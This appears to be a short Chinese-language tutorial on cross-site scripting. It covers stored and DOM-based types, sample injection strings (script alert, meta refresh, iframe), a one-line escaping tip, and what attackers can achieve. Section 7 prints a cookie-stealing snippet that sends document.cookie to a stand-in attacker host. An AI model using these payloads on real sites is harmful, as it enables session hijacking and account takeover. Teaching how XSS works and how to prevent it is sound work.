XSS攻击与防止

1.XSS又称CSS, cross sitescript, 跨站脚本攻击,是web程序中常见的漏洞

  • XSS属于被动式且用于客户端的攻击方式
  • XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。
  • XSS其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,
    数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。

2.原理: 攻击者向有XSS漏洞的网站中输入恶意的html代码,当用户浏览该网站时,这段html代码会自行执行,从而达到攻击的目的,例如盗取用户的cookie, 破坏页面结构,重定向到其它网站。

3: 实施XSS攻击需要具备两个条件

  • 需要向web页面注入恶意代码
  • 这些恶意代码能够被浏览器成功的执行

4:常见输入的恶意XSS字符

  • XSS 输入通常包含js脚本,如弹出恶意警告框: <script>alert(“XSS”);</script>
  • XSS 输入也可能是 HTML 代码段,譬如:网页不停地刷新 <meta http-equiv=”refresh” content=”0;”>
  • 嵌入其它网站的链接 <iframe src=//xxxx width=250 height=250></iframe>

5.xss攻击的主要目的

  • 想办法获取目标攻击网站的cookie,因为有了cookie相当有了seesion, 有了这些信息就可以在任意能接近互联网的pc登录站点,登录做一些破坏。

6. 预防措施

  • 防止下发界面现实html标签, 把</>等符号转义

7.XSS攻击能做些什么

  • 窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码
  1. var i=document.createElement(“img”);
    document.body.appendChild(i);
    i.src = “//www.hackerserver.com/?c=” + document.cookie;

  • 读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。
  • 前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播。

 

Tags: